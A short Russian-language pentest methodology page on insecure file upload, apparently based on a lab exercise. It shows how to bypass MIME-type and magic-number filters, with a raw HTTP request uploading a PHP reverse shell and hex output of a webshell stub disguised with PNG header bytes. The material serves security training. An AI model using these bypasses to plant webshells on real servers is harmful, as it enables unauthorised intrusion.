Небезопасная загрузка файлов
:::tip Формат страницы
Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.
:::
Порядок действий
- Определите контекст (аутентификация, роль, границы доверия).
- Воспроизведите вектор атаки в контролируемой среде или с явным разрешением на целевой системе.
- Зафиксируйте PoC и влияние (конфиденциальность, целостность, доступность).
- Примеры запросов и команд ниже — на английском.
Методика
File type filtering
Multipurpose Internet Mail Extension (MIME) validation filtering
POST /?submit=success HTTP/1.1
Host: shell.uploadvulns.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
-----------------------------73964126537709154571754089304
Content-Disposition: form-data; name="fileToUpload"; filename="php-reverse-shell.php"
Content-Type: application/x-php
<?php
// Usage
// -----
Magic Numbers filtering
xxd index.png
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
xxd /tmp/webshell.php
00000000: 8950 4e47 0d0a 1a0a 0000 3c3f 7068 7020 .PNG......<?php
00000010: 7379 7374 656d 2829 3b20 3f3e 0a system(); ?>.